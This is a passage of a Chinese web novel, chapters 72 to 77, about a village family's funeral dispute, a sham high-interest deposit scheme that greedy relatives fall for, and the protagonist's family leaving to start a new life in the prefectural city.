几缕苍白无力的招魂幡,在夜风中萧瑟地飘荡着,给这个夜晚增添了几分说不出的凄凉与诡异。 陈平川一家四口刚刚踏入灵堂,还未站稳脚跟。 中毒初愈刘氏,便颤巍巍地抬起一只枯瘦的手指,直直地指向罗氏。 “都是你!你这个天杀的丧门星!”她声音虚弱不堪,仿佛随时都会断气,但话语中却带着怨毒。 “若不是你当初没有死死拦住娘!爹他……他怎么会死!你就是个克星!专门来克我们陈家的!” 躺在另一张简陋竹榻上的王氏,也挣扎着想要坐起身来。 她一手紧紧抚着自己的胸口,一副上气不接下气的模样,却依旧不忘阴阳怪气。 “就是啊!二嫂!”王氏的声音透着一股子令人作呕的虚伪,“你明知道那米有问题,吃不得,为何当初不拼了命地去力谏?非要眼睁睁看着出事?” “如今爹没了,你倒是满意了?称心如意了?你究竟安的是什么黑心肠!” 两人一唱一和,配合得倒是默契,竟是想将陈老太爷暴毙身亡的这口天大的黑锅,扣到罗氏的头上。 罗氏本就因陈老太爷的横死而心中五味杂陈,既有几分兔死狐悲的唏嘘,更多的却是对这一家子蠢人的无语。 此刻听闻刘氏和王氏这两个毒妇颠倒黑白、恶语相向,一股难以遏制的怒火如同火山爆发般直冲头顶! 罗氏猛地抬起手,先是指着刘氏,又猛地转向王氏。 “你们这两个没良心的东西!你们还有没有一点做人该有的良心!” “当日我是如何苦口婆心、好言相劝的?你们难道都忘了不成?!” “娘她老人家又是如何的固执己见,听不进半句人话,反而对我破口大骂的?!” “而你们呢?”罗氏的目光如同利剑一般扫过刘氏和王氏那苍白而心虚的脸,“你们当时又是如何在一旁煽风点火,帮腔作势,将我的好心当作驴肝肺,甚至还出言讥讽的?” “如今,出了这等大事,你们倒有脸来怪罪到我的头上?!” 罗氏越说越气,毫不留情。 “若不是你们平日里只知道一味地阿谀奉承,溜须拍马!处处都顺着娘的心意,无论对错从不反驳!才助长了她的任性!否则,何至于酿成今日这滔天大祸!” “老太爷的死,你们有一个算一个,谁都脱不了干系!你们才是真正的凶手!” 罗氏这一番话,掷地有声,振聋发聩! 刘氏被罗氏这一番驳斥,给堵得张口结舌,喉咙里咯咯作响,却是一个字也反驳不出来。 王氏更是羞愧难当,早早便垂下了那颗平日里总是高昂着的头颅,根本不敢再看罗氏那双燃烧着怒火的眼睛。 两人的脸色,由原先的蜡黄,迅速转为难堪的铁青。 最后,剩下无地自容的羞愧与狼狈。 灵堂内外,那些看热闹,或是前来吊唁的亲族和邻里乡亲们,都听得是清清楚楚。 此刻也开始压低了声音,窃窃私语起来。 PC站点如章节文字不全请用手机访问 “陈家儿媳妇说的句句在理啊!” “可不是嘛!陈家老太太那个犟驴性子,十头牛都拉不回来!谁劝得了她?大房三房的,平日里就知道捡好听的说,哄着她开心!” “就是,就是!这事儿啊,还真是一点都怪不得人家二房的媳妇。人家仁至义尽了。” “要我说啊,这大房和三房的,平日里少在老太太面前煽风点火,说不定啊,老太爷还能多活几年呢!” 议论的声音虽然刻意压低,却如同潮水般,一浪高过一浪。 那些饱含着指责与鄙夷的目光,此刻都齐刷刷地投向了面如死灰的刘氏和王氏。 连带着同样面色难看、垂头丧气的陈仲文和陈仲武,也未能幸免。 一时间,大房和三房成了众矢之的,被村民们的唾沫星子淹没了。 PC站点如章节文字不全请用手机访问 第73章 亲爹尸骨未寒,畜生儿子一毛不拔! 陈老爷子的灵柩就那么静静地停放在堂屋中央。 几根白烛在微风中摇曳,昏黄的烛光映照着一张张神色各异的脸。 桃花村里德高望重的族叔陈四爷,重重地轻咳一声,那声音打破了灵堂内的沉默。 他锐利的目光缓缓扫过陈家众人,最终沉声道:“你家老爷子走了,这丧事,总归是要办起来的。” “棺木、寿衣、席面,还有请道士做法事,桩桩件件,哪一样不需要银钱?都想想办法,让老爷子入土为安……” 这话一出,刚刚还在灵前哭得呼天抢地、仿佛天塌下来一般的陈仲文,哭声戛然而止。 他脸上挤出一抹比哭还要难看的笑容,对着陈四爷拱了拱手:“族叔,非是侄儿不孝啊。” 陈仲文摆出一副为难至极的模样:“只是我一个读书人,平日里只知埋首苦读圣贤之言,圣贤书倒是读了不少,可这赚钱的营生,侄儿我,实在是一窍不通啊。” “而且您也是知道,眼看侄儿就要科举考试了,实在是……实在是难以支撑这般庞大的开销啊。” 他这话说得“情真意切”,仿佛自己已是为这个家倾尽了所有,再也没有半分余力。 另一边的陈仲武,也赶紧从地上爬起来,连连摆着那双粗糙的大手。 “四叔,侄儿也没钱啊!”他急切地辩解道,“侄儿就是一个穷木匠,每日里起早贪黑,赚的也就是几个铜板的辛苦钱,堪堪勉强糊口罢了,哪里还有什么余钱置办这些……” 他那双滴溜溜转的眼珠子一顿,又赶紧哭丧着脸补充道:“再说了,四叔您瞧瞧,我家里还有妻儿和我老娘要养活,这手头,那是真的紧得很呐!” 更令人瞠目结舌的是,一直瘫坐在地上,双手不停拍打着大腿干嚎的陈老太太。 此刻,她也一边抹着浑浊不堪的眼泪,一边更加卖力地哭天抢地起来。 “我苦命的当家的啊!你怎么就这么狠心走了啊!留下我这老婆子一个人,可怎么活啊!” 她捶着自己的胸口,声音凄厉:“家里是一文钱都没有了啊!全都让那些遭瘟的短命耗子给败光了!吃空了!如今连买米的钱都快要拿不出来了,哪里还有什么闲钱给你办后事啊……” 老太太这番话,颠三倒四,竟是半点要为老太爷出钱的意思都没有,仿佛那棺材里躺着的,是个八竿子打不着的陌生外人。 一时间,整个灵堂内陷入了一片死寂。 大房、三房的子孙们,包括方才还上蹿下跳指责罗氏的刘氏和王氏,此刻一个个都像是霜打了的茄子,蔫头耷脑地低垂着头。 他们眼观鼻,鼻观心,好像脚下那冰冷的青砖地里能立刻开出一朵金灿灿的花儿来。 这番令人心寒的景象,让在场的族人和邻里都看得是连连摇头。 不少人脸上已经毫不掩饰地露出了鄙夷和不屑之色。 “啧啧,这陈家老大和老三,平日里看着倒是人模狗样的,一个秀才,一个木匠,没想到这么不顶用。” “就是啊,老太爷这尸骨都还没凉透呢,就开始哭穷了?这脸皮,比城墙拐角都厚!” “还有那陈老太太,更是离谱他娘给离谱开门,离谱到家了!连耗子都搬出来了当借口,真是闻所未闻啊……” 那些窃窃私语声虽然刻意压低,还是传进陈家人的耳朵里。 他们的脸上更是火辣辣的一片,像是被人当众扇了无数个耳光。 但为了那点银钱,一个个都梗着脖子,装作什么都没听见。 就在这沉默之中,一直默默跪在灵柩旁,平日里最不起眼,也最是受尽了委屈和陈家老二,突然缓缓地抬起了头。 PC站点如章节文字不全请用手机访问 他那双布满了血丝的眼睛,定定地看着冰冷的灵柩,声音沙哑。 “爹的丧事,我来办。” 众人都看向他。 尤其是陈仲文和陈仲武两兄弟,两人脸上瞬间闪过一丝错愕,不过随后就变成了窃喜! 终于有人出钱了! 陈平川安静地站在父亲身旁,见父亲主动揽下这副重担,心中泛起一丝无奈,却也能理解。 毕竟,那是他的亲生父亲,血浓于水,总不能真的眼睁睁看着他走得如此凄凉。 他悄无声息地拉了拉父亲的衣袖,然后从怀中摸出一个小荷包,塞到了陈仲和粗糙的手中。 陈平川压低了声音,说道:“爹,这里是三十两银子。” “您拿着,给爷爷置办一口好些的棺木,丧事也尽量办得体面些,别让外人看了笑话,说咱们陈家连副像样的棺材都买不起。” 陈仲和感觉到手中那布包沉甸甸的分量,粗糙的手掌控制不住地微微一颤。 他低下头,看着儿子那双澄澈而又异常懂事的眼睛,眼圈瞬间就红透了,喉咙像是被什么东西堵住了一般,哽咽了一下,然后重重地点了点头。 父子俩这番举动,虽然刻意避开了众人的视线,却还是被人瞧见了些许端倪。 与大房、三房那赤裸裸的推诿扯皮,哭穷卖惨的丑陋嘴脸相比,二房父子这份孝心与担当,实在是高下立判,令人心中唏嘘不已。 很快,陈家大房、三房在老太爷丧事上互相推诿,不肯出钱,最后还是二房陈仲和,在儿子陈平川的支持下,自掏腰包,才勉强将丧事操办起来的消息,便如同插上了翅膀一般,以惊人的速度传遍了整个桃花村。 村民们听闻此事,无不感到义愤填膺,议论纷纷。 “哎,你们听说了吗?陈老太爷的丧葬费,最后是老二家出的!” “真的假的?那老大陈秀才和老三陈木匠呢?他们不是亲儿子吗?” “哼!那两个不孝的畜生!一个哭穷说自己是读书人,两袖清风,拿不出钱!一个说自己是木匠,要养家糊口,也没钱!连陈老太太都跟着起哄,说家里被耗子搬空了,一文钱都没有!” “我的老天爷啊!这还是人说的话吗?自己亲爹死了,连口棺材钱都不肯出?这心是石头做的吗?” “可不是嘛!要不是老二陈仲和还有点做人的良心,他儿子平川又孝顺懂事,拿出银子来,陈老太爷怕是连口薄皮棺材都混不上,得用草席卷了去埋!” “平日里就知道变着法儿算计老二家,占老二家的便宜,一到要出钱的时候,一个个都缩成了乌龟王八!跑得比兔子还快!” “真是猪狗不如的东西!枉为人子啊!白养了这么些年!” 一时间,整个桃花村的唾沫星子,几乎要将陈仲文和陈仲武两家给彻底淹没了。 他们走到哪里,都能感受到村民们鄙夷的目光,背后更是少不了指指点点。 刘氏和王氏这两个平日里最爱出风头的婆娘,这几日更是连自家的大门都不敢迈出一步,生怕被人戳着脊梁骨痛骂。 经此一事,陈家大房和三房在桃花村算是彻底名声扫地,再也抬不起头来了。 而陈仲和一家的孝顺与仁义,则赢得了全村上下的交口称赞,人人提及都要竖起一个大拇指。 那些曾经因为陈家老宅的龌龊事,而对罗氏也有些微词的村民,此刻也纷纷改了口风。 他们都称赞罗氏教子有方,教出了陈平川这么个小小年纪便知孝义的好儿子。 PC站点如章节文字不全请用手机访问 “还是二房这媳妇会教孩子啊!看看人家平川!” “就是,平川那孩子,小小年纪就中了秀才,如今又这么孝顺懂事,真是打着灯笼都难找的好苗子!” “老话说得好,积善之家必有余庆,这话是一点都不假啊!看看人家二房,日子肯定越过越红火!” PC站点如章节文字不全请用手机访问 第74章 月息一分?我家傻亲戚乐疯了! 陈老爷子的丧事过后,桃花村的议论声总算渐渐平息。 陈家大房、三房顶着不孝的骂名,在村里彻底抬不起头来,往日里那股嚣张气焰消弭无踪,一个个夹着尾巴做人。 如此一来,倒是让罗氏一家清净了不少。 陈平川除了偶尔抽空照看《西游记》画册的生意,其余大部分精力都投入到了温习功课之中。 毕竟,三年后的乡试,才是他眼下最重要的目标。 这日,他正在张府书房里,摊开纸张,构思着新一卷画册的情节,门外却传来了父亲陈仲和略显急促的脚步声。 “平川,平川。”陈仲和的声音透着焦虑。 陈平川放下手中的毛笔,起身迎了出去:“爹,出什么事了?” 陈仲和搓着手,眉头紧锁:“家里……家里出了点事,想找你商量商量。” 陈平川心头一动,能让父亲这般神色的,恐怕不是小事。他随着父亲,赶回了陈家老宅。 刚踏进堂屋,便见大房、三房的人都在,陈老太太端坐在上首,脸色看不出喜怒。 堂屋中央,三叔陈仲武和三婶王氏,正满脸堆笑地陪着一个衣着光鲜的中年男人说话。 那男人约莫四五十岁的年纪,细长脸,一双小眼睛滴溜溜转着,透着一股子精明相。 他瞧见陈平川父子进来,也十分热情地拱了拱手,脸上笑意盈盈。 王氏眼尖,见陈仲和与陈平川进来,立刻清了清嗓子。 “二哥,平川侄儿,你们可算来了!” 她指着那中年男人,热情洋溢地介绍:“这位是庐州府福运来的刘掌柜!刘掌柜可是个大善人,体恤咱们这些庄户人家赚钱不易,特地给咱们指了条明路!” 那刘掌柜清了清嗓子,接过话头,声音洪亮。 “各位,在下刘富贵,不才,在庐州府开了几间铺子,略有薄产。” 他环视一圈,目光在众人脸上扫过,语气亲切。 “近来,我们福运来推出一项‘添福增寿’的存钱业务。各位若是有闲散的银钱,存到我福运来,不论多少,每月都按一分的利息给大家分红!” “一分利!”刘掌柜加重了语气,小眼睛里闪着光,“这可是实打实的钱生钱,利滚利的好事啊!诸位想想,把银子放在家里,它能下崽儿吗?不能!可放在我们福运来,它就能!” 陈仲武在一旁听得双眼放光,连连点头,急不可耐地帮腔:“娘,大哥大嫂,二哥二嫂!你们听听,这可是天上掉下来的大馅饼啊!” 他激动地比划着:“咱们把家里的活钱都拿出来,全存到刘掌柜那里!以后啥也不用干,就躺在家里,每个月等着收白花花的银子就行了!” 刘氏听得心动不已,眼睛里闪烁着贪婪的光芒,但她素来疑心重,迟疑地开口:“真有这等好事?刘掌柜……莫不是骗人的吧?” 她说着,眼神瞟向那刘掌柜。 陈老太太一直没说话,此刻抓紧了手中的拐杖,嘴里小声念叨着:“一分利……那要是一两银子,一个月能有多少钱?十两呢?” 她的声音虽小,但眼神里渴望却是掩饰不住的。 王氏眼珠子一转,立刻笑道:“大嫂若是不信,可以问问咱们平川侄儿。平川侄儿如今在张府当差,见多识广,庐州府那么大的‘福运来’商号,他肯定听过的!” 这话一出,堂屋里所有人的目光,齐刷刷地投向了站在陈仲和身旁的陈平川。 PC站点如章节文字不全请用手机访问 陈平川心中冷笑一声,面上却依旧平静如水。 福运来?添福增寿?一分利? 呵,这不就是后世那些骗子翻来覆去用了无数遍的“非法集资”老套路么! 换了个马甲,跑到这穷乡僻壤来忽悠人了? 真是打得一手好算盘。 他面上却是不动声色,只是微微点了点头,声音平静无波。 “‘福运来’这个名号,侄儿倒的确是在庐州府的街面上见过他们的铺子招牌。” “铺面瞧着,也确实是气派得很,不像是那些没根底的小门小户。” 他微微顿了顿,话锋却是不着痕迹地一转: “只是这位钱掌柜……” 他目光平静地看向那满面笑容的刘富贵,语气淡然。 “侄儿眼拙,倒是从未见过,今日还是头一回得见尊颜。” 这话,说得半真半假。 “福运来”的铺子,他确实是见过的,在庐州府城里算是相当显眼的一家商号。 但这什么刘掌柜,他是真的丁点印象都没有。 十有八九,是个临时拉出来,专门负责下乡唱双簧的骗子。 不过,瞧着陈家大房、三房这一个个眼冒金光、兴奋不已的模样,他就算此刻明明白白地说出这是个骗局,恐怕也没人会相信。 说不定,反而还会招来他们一顿埋怨,说他挡了大家的财路。 罢了。 有些人,有些事,不亲身撞一撞南墙,是永远不会明白的。 尤其是陈家这群恬不知耻的极品亲戚,陈平川更是懒得去费那个口舌。 听陈平川说“福运来”确实存在,而且铺面气派,陈仲文和刘氏心中最后一丝疑虑也烟消云散了。 连见多识广的陈平川都说见过,那还能有假? 陈老太太更是当机立断,拐杖往地上一顿,发出“笃”的一声。 “就这么定了!你们回去都把家底好好凑凑,有多少算多少!” 陈仲武和王氏闻言大喜过望,脸上笑开了花。 王氏更是得寸进尺,目光灼灼地看向陈仲和:“二哥,你们家平川如今这么出息,画册生意又那么红火,家底肯定是咱们几房里最厚实的!这等好事,你们可得多出点力,存多点,将来分红也多嘛!” 陈平川立刻在暗中轻轻拉了拉父亲的衣袖,给他使了个眼色。 陈仲和本就对这种“天上掉馅饼”的好事心存疑虑,此刻得了儿子的暗示,更是打定了主意。 他面露难色,讷讷地开口:“我家……我家平川读书要用大笔的钱,往后还有乡试、会试,花费的地方多着呢,实在……实在是没多少余钱了,这事,我们就不参合了。” PC站点如章节文字不全请用手机访问 第75章 连根针都不放过,也不怕遭报应! 二房要净身出户分家的消息,像一阵风,一夜之间刮遍了桃花村的每个角落。 “听说了吗?陈家老二要分家,还是净身出户!”田埂上,扛着锄头的汉子压低了声音。 “罗氏那婆娘是疯了不成?好端端的日子不过,图啥呀?” “你懂个屁!肯定是受够了陈老太婆那一大家子吸血鬼了!那家子人,心都黑透了,换我我也分!” “啧啧,真狠得下心呐,亲儿子亲孙子,就这么眼睁睁看着他们出去露宿街头?” 另一个声音更是神秘兮兮:“我可听说了,是为了那个什么‘福运来’的李掌柜!大房三房想把二房家底都刮干净了,好拿去钱生钱呢!” 议论声像夏日里的蚊蝇,嗡嗡地在村里各处飞着,钻进每一个人的耳朵里。 但无论村人如何议论,陈家的分家文书,还是在陈老太太的催促下,很快摆上了堂屋的桌子上。 陈仲文请来了村长和族里几位胡子花白的长辈。 村长捧着一张新墨未干的粗麻纸,对着面沉如水的罗氏和垂头丧气的陈仲和,一字一句地念着。 “兹有陈氏二房陈仲和、罗氏夫妇,携子陈平川、女陈平玉,自愿净身出户,陈家祖产田地房屋,概不取分毫。从此与陈氏宗族其余各房,骨肉名分仍在,然恩怨两清,各自独立,互不相干。恐口无凭,立此为据。” 罗氏听完,没有半分迟疑,挺直了腰杆上前,蘸了红泥,在那张薄薄的纸上重重按下了自己的指印。 陈仲和看着那纸黑字,手微微颤抖,他闭上眼,终究还是跟着妻子,画上了自己的押。 字据一式两份,一份交由族里存底,一份被陈老太太收起来。 礼毕,刘氏和王氏的眼睛里瞬间迸发出贪婪的光芒,她们对视一眼,迫不及待地领着陈老太太,如同两只得胜的母鸡,雄赳赳气昂昂地冲进了二房原先住的那几间低矮破旧的泥坯屋。 “仔细搜!一根针,一根线都不能让他们带走!”刘氏尖着嗓子,声音在逼仄的屋里显得格外刺耳。 王氏则皮笑肉不笑。“二嫂,这可都是老太太的意思,咱们也是奉命行事,你可别往心里去。” 罗氏平日里用旧布头缝的几个布袋子,里面装着些舍不得丢的碎布头和棉花,预备着给孩子们做冬衣的,此刻被刘氏一把抢了过去,狠狠地抖落在地。 “这也是陈家的东西!”刘氏又掂了掂陈平川给妹妹买的那个小小的拨浪鼓,撇撇嘴,随手扔给了身后的儿子陈平西。 陈平西立刻接住,咧嘴一笑,得意洋洋地冲着陈平川兄妹俩摇了摇,发出“咚咚”的响声,满是挑衅。 几个大房三房的小辈也跟着在旁边起哄,对着陈平川兄妹指指点点。 “哈哈,陈平川,你们以后没地方住了,可别哭鼻子啊!” “就是,没准儿过几天就得回来求奶奶收留呢!” “回来也没地方住了,只能和大黄挤在牛棚里了,哈哈!“ 陈平川小脸一绷,稚嫩的声音带着凉意:“几位姐姐说笑了,我们家就算是住山洞,也比在某些人家里当牛做马强。至少,不用担心哪天被人卖了换钱,也不用担心辛辛苦苦赚来的钱,被某些好吃懒做的白眼狼惦记着拿去打水漂。” 这话像一记无形的耳光,那几个孩子的脸顿时涨成了猪肝色,讷讷说不出话来。 陈仲和看着这从小长大的家,看着墙角熟悉的裂纹,看着那张自己睡了多年的旧木床,如今就要离开,心中五味杂陈。 他想起了过世的老父亲,若是父亲还在,断然不会让家里闹到这个地步。他默默地从床底下拖出一个破旧的包袱,里面只有一家四口几件打满补丁的换洗衣裳。眼圈,不知不觉就红了。 罗氏则是一脸平静,她早就看透了这一家人的凉薄嘴脸,对这个所谓的“家”,已经没有半分留恋。 陈平川站在母亲身旁,一双黑白分明的眼睛,像两颗寒星,冷静地扫过屋里每一个人的脸,将他们的嘴脸一一刻在心里。 PC站点如章节文字不全请用手机访问 今日你们如何待我,他日我必百倍奉还! 王氏眼尖,竟从罗氏的针线笸箩里翻出一根已经用得有些弯曲的旧绣花针,像发现了什么宝贝似的,用两根手指捏着,得意地举了起来。 “瞧瞧!这针也是陈家的!可不能让你们占了便宜去!” 围观的几个村民都看不下去了,纷纷摇头,发出不屑的嘘声。 “真是做得太绝了!” “连根针都不放过,也不怕遭报应!” 终于,在刘氏和王氏几乎掘地三尺的搜刮下,二房那几间屋子,真正做到了“家徒四壁”。 一家四口,除了身上穿的,就只有陈仲和手里那个轻飘飘的小包袱。 “好了,东西都清点完了,”刘氏拍了拍手上的灰,斜睨着他们,下巴抬得老高,“你们可以走了!” 她还特意站在大门口,对着罗氏一家离去的背影,阴阳怪气地拔高了声音:“可别忘了,是你们自己要求净身出户的!往后过不下去了,哪怕饿死了,也别想回来攀咱们这门亲戚!” 陈仲和的脚步踉跄了一下,罗氏扶住了他,用自己的身体给了他无声的支持。 陈平川拉着妹妹平玉的手,走到院门口时,突然停下脚步,转过身。 午后的阳光照在他脸上,他露出了一个天真无邪的笑容,声音清脆响亮,传遍了整个院子。 “大伯,三叔,奶奶,多谢你们成全我们一家!往后我们肯定会过得很好很好的!” 顿了顿,他眨了眨那双纯净的大眼睛,继续道:“你们可一定要把家里的地和房子都卖个好价钱,多投点给那位福运来的刘掌柜呀!那样利息才能多嘛!可千万别投少了,不然我们知道了,都替你们不值当呢!” 说完,他拉着父母和妹妹,头也不回地走出了陈家大院,走进了外面广阔的天地里。 院子里,陈老太太、刘氏、王氏等人,脸上的得意笑容僵住了。 他们面面相觑,总觉得那孩子的话哪里不对劲,可又说不上来。这小兔崽子,到底是什么意思? PC站点如章节文字不全请用手机访问 第76章 这边喜提小院新生活,那边全家梭哈等发财! 离开了陈家老宅,罗氏脚步都轻快了几分,像是卸下了压在心头多年的千斤巨石。 一直走到村口那棵歪脖子老槐树下,四下无人,她才停住脚步,回头望了一眼桃花村的方向,长长地舒了一口气。 “当家的,平川平玉,过来。”罗氏神秘兮兮地招了招手。 陈仲和与陈平川兄妹疑惑地走近。 罗氏从贴身衣物的夹层里,小心翼翼地掏出一个用油布裹得严严实实的包裹。 包裹不大,却沉甸甸的。 她一层层打开油布,里面赫然是码得整整齐齐的碎银子和铜钱,角落里还塞着几张皱巴巴的小额银票。 陈仲和眼睛蓦地睁大了,满是血丝的眼眶里涌上水汽,嘴唇哆嗦着:“孩子他娘……你……你这是……” 罗氏扬了扬下巴,脸上是许久未见的轻松笑意:“你以为我真傻啊?平川出息了,赚的那些画册分红,还有咱们平日里牙缝里省下来的,一文钱都没落到那老虔婆手里!” 她拍了拍那包银钱:“都在这儿呢!足够咱们在府城安家,再置办些家当了!” 陈仲和看着妻子,又看看那包凝聚了她无数心血的银钱,一股惊喜和愧疚的复杂情绪涌上心头,眼泪再也忍不住,顺着黝黑的脸颊淌了下来。 “孩子他娘……这些年,跟着我……苦了你了!”他声音哽咽,一个大男人,此刻哭得像个孩子。 罗氏眼圈也有些红,却笑着拍了拍他的胳膊:“哭啥!只要能离开那个狼窝,过上咱们自己的安生日子,就不算苦!” 她又摸了摸陈平川的头:“再说了,咱们有平川这么有出息的儿子,往后的日子只会越来越好!” 陈平玉年纪小,对分家、净身出户的含义还很模糊,只知道以后不用再看奶奶和大伯娘三婶娘的脸色,可以跟爹娘哥哥一起住到热热闹闹的城里去了。 她的小脸上满是对新生活的懵懂和期待,拉着陈平川的衣角,小声问:“哥哥,城里是不是有很多好吃的东西?” 陈平川笑着摸摸她的头:“嗯,等到了庐州府,哥哥给你买很多好吃的。” 他对这个结果,心中并无波澜,一切尽在意料之中。 唯一有些挂念的,是家里那头老黄牛。 分家之时,田地房产都归了老宅,那头老黄牛自然也留给了大房他们。 临出村子前,陈平川特意绕到自家牛棚,看见老黄牛低头嚼着一些干草。 陈平川从怀里掏出特意采来的一把鲜嫩青草,走到老黄牛跟前。 “老黄,我来看你了。”他轻声说着,将青草递到牛嘴边。 老黄牛抬起头,浑浊的大眼睛看了看他,认出是这个平日里最常喂它、给它梳毛的小主人,发出低低的“哞哞”声,亲昵地用粗糙的舌头舔了舔他的手心。 陈平川仔细地给它梳理着有些打结的毛,又喂了些清水。 老黄牛仿佛通人性一般,安静地享受着这片刻的温存,大眼睛里竟似有泪光闪动,不时用头蹭蹭他的胳膊。 就在这时,刘氏从屋里走了出来,瞧见陈平川,眉头一皱,尖声道:“你这小兔崽子还在这儿磨蹭什么?这牛已经是我们大房的了,赶紧滚!” 她说着,便要去解牛绳。 老黄牛似乎听懂了她的话,也感受到了陈平川即将离去,突然犟了起来,四蹄钉在地上,任凭刘氏怎么拉扯,就是不肯挪动一步。 刘氏大怒,抡起鞭子噼噼啪啪地抽打起来!老黄猛地扬起头,对着陈平川离开的方向,发出了一声声悲切悠长的哞叫,充满了不舍与哀伤。 PC站点如章节文字不全请用手机访问 这凄厉的牛叫声,惊动了左邻右舍。 一些围观的村民探头探脑,看着这一幕,都忍不住摇头叹息。 “唉,作孽哟!这牛都养出感情了,知道谁对它好。” “可不是嘛!陈家老二一家平日里把这牛当宝,如今倒好……” “啧啧,真是狼心狗肺,连畜生都看不过去了!” 刘氏被村民们的指指点点和老黄牛的犟劲气得脸色铁青,却又无可奈何,只能叉着腰破口大骂。 陈平川最后深深看了一眼老黄牛,他没办法把老黄带走,只能默默告别,转身跟着父母离开了。 一家四口在村口雇了辆马车,晃晃悠悠地朝着庐州府的方向驶去。 到了庐州府,天色已近黄昏。 陈平川早已托了张府的任管家,在城南一处僻静的巷子里物色好了一处带着小院的民房。 院子不大,三间正房,两间厢房,还有一个小小的天井,收拾得干净整洁。 租金也相宜,对于他们眼下的情况来说,再合适不过。 罗氏看着这属于他们自己的小家,虽然简朴,却处处透着安宁,脸上的笑容怎么也止不住。 “好,好!这里清净,比老宅那狗窝强百倍!” 陈仲和也默默点头,眼中有光。 陈平玉则欢快地在小院里跑来跑去,对一切都充满了新鲜感。 一家人看着这崭新的起点,心中充满了对未来的憧憬。 与此同时,桃花村的陈家老宅里,却是另一番景象。 送走了二房这几个“累赘”,陈老太太立刻催促着陈仲文和陈仲武。 “老大,老三,还愣着干什么?赶紧把老二家那几间破屋子,还有分给咱们的那些田地,都给我卖了!一刻都不能耽搁!” 陈仲文和陈仲武自然不敢怠慢。 因急于出手,价格自然被买家压得很低。 但陈老太太此刻满脑子都是“福运来”那“一分利”的美梦,也顾不上这些损失了,只想着赶紧凑够本钱,投进去钱生钱。 不过两三日的功夫,他们便将二房原先的屋子和田地都变卖了出去,东拼西凑,总算凑了近百两银子。 这几乎是他们掏空了家底才凑出来的钱。 这日,那位福运来的刘掌柜,满面春风地再次来到了桃花村陈家。 陈家人跟看财神爷似的,将他奉为上宾。 刘掌柜接过那沉甸甸的钱袋,掂了掂,脸上的笑容更盛了。 他当场提笔,写了一张“存单”,上面龙飞凤舞地写着“福运来宝号存银玖拾捌两整,月息一分,按月支取”,末了,还从怀里掏出一个红泥印章,端端正正地盖上了“福运来记”的大红印。 “老太太,陈秀才,陈老弟,”刘掌柜将存单郑重地交到陈老太太手中,语气信誓旦旦,“您几位就擎好吧!下个月十五,准时到我庐州府东街的福运来铺子里来支取红利!一文钱都不会少您的!” PC站点如章节文字不全请用手机访问 说完,他揣着那袋银子,冲着众人拱了拱手,在一片谄媚的恭维声中,春风得意地走了。 陈老太太紧紧攥着那张“存单”,像是攥着金山银山,浑浊的老眼里闪烁着贪婪的光。 陈仲文和陈仲武兄弟俩,还有刘氏王氏,也都咧着嘴,美滋滋地掰着指头算计起来,下个月能从“福运来”拿到多少白花花的银子。 PC站点如章节文字不全请用手机访问 第77章 二房岁月静好,老宅暴雷倒计时! 庐州府城南,一处新赁的民房。 午后的阳光像碎金般洒满小院,将墙角那几垄新翻的泥土映得油黑发亮。 罗氏哼着不成调的乡间小曲,手里的钉耙不紧不慢地将土块弄得细碎,小心翼翼地把几株青菜秧子栽了进去,浇上水,菜叶儿上的水珠在日光下晶莹剔透,满是生机。 “当家的,今儿回得这般早?”她直起酸乏的腰,用袖口擦了擦额角的薄汗,瞧见陈仲和提着个布袋,迈着轻快的步子进了院门。 陈仲和脸上挂着久违的松快,那是卸下千斤重担后的舒坦。 他将布袋放在石桌上,笑道:“嗯,任管家说码头上近来的货物都理清了,没什么急活,便让我早些回了。”他如今在陈平川的安排下,在张家的码头帮着任管事管理货物,活计不累,工钱稳定,整个人都仿佛挺直了腰杆。 话音未落,屋里“噔噔噔”跑出一个小小的身影。陈平玉像只快活的蝴蝶,手里高高举着一张泛黄的草纸,献宝似的喊道:“娘!爹!你们看,我会写我自己的名字啦!” 纸上,三个歪歪扭扭的“陈平玉”挤在一起,墨迹深浅不一,稚气十足。可在罗氏和陈仲和眼里,这比什么金银财宝都珍贵。 “哎哟,我的天爷!我们平玉真是个小才女!”罗氏一把将女儿揽进怀里,在她红扑扑的小脸上响亮地亲了一口,眼眶竟有些湿润。 陈仲和也凑过去,粗糙的手指小心翼翼地点着那几个字。 虽然他一个都不认识,但还是咧着嘴,一个劲儿地傻笑点头:“好,好!写得真好!” 廊下的小板凳上,陈平川翻着一本从方先生那儿借来的《四书集注》,眼角的余光瞥见院中其乐融融的一幕,嘴角不自觉地噙起一抹浅淡而温暖的笑意。 这样的日子,平静得像一汪清泉,充实得仿佛每一寸光阴都被幸福填满,是他前世今生都未曾奢望过的安稳。 光阴似箭,一个月的光景弹指即过。 在二房一家享受着新生活的同时,桃花村的陈家老宅,却被一种狂热的期盼所笼罩。 陈老太太如今是村里的大忙人,她拄着那根磨得光滑的拐杖,几乎天天都守在自家门口,下巴扬得老高,逢人便扯着嗓子宣告:“老婆子我啊,用不了几天,就要去庐州府领红利啦!福运来那位刘掌柜亲口说的,月息一分!到时候,咱家顿顿有肉吃!” 路过的张屠户媳妇闻声停下脚步,脸上堆着皮笑肉不含笑的表情:“哟,老太太,您这是要发大财了?那可真是得提前恭喜您了。”可她一转身,便忍不住往地上啐了一口,心里嘀咕:真是老糊涂了,天上哪有掉馅饼的好事,别是被人骗了还帮着数钱。 刘氏和王氏也一扫往日的愁容,穿戴都比往日鲜亮了几分。刘氏手里摇着一把新买的廉价绢帕,声音不高不低:“我们家仲文说了,等这笔钱一到手,头一件事就是给我扯几尺府城里时兴的杭绸,做几身体面的新衣裳。” 王氏立刻在一旁敲边鼓:“我家那口子也盘算好了,要给孩子们都添置些新行头。往后啊,咱们也是吃穿不愁的体面人了!” 她们身后的陈平娇和陈平香,更是早就聚在一起叽叽喳喳,做起了美梦。 “等咱们家有钱了,我也要买城里小姐戴的那种珠花,金灿灿的,一晃一晃!”陈平香一脸向往。 “珠花算什么,”陈平娇撇撇嘴,更显高傲,“我要吃福满楼的桂花鸡!天天吃!还要雇个丫鬟伺候我!” 她们仿佛已经看到了自己穿金戴银,使奴唤婢的好日子,浑然不觉村里人看她们的眼神,充满了怀疑和看笑话的意味。 “你说这陈家,真能靠那什么‘福运来’翻身?” “谁知道呢,听着玄乎。钱生钱,哪有那么容易的事。我看八成是打了眼。” “等着瞧吧,是骡子是马,下个月十五不就知道了?” 这些风言风语,偶尔也会被进城办事的人带到庐州府,传进陈平川的耳朵里。 他听了,只是嘴角勾起一丝几不可查的冷笑,随即又恢复了平静,不再理会。 一群跳梁小丑,他们的结局,从贪念起时便已注定。 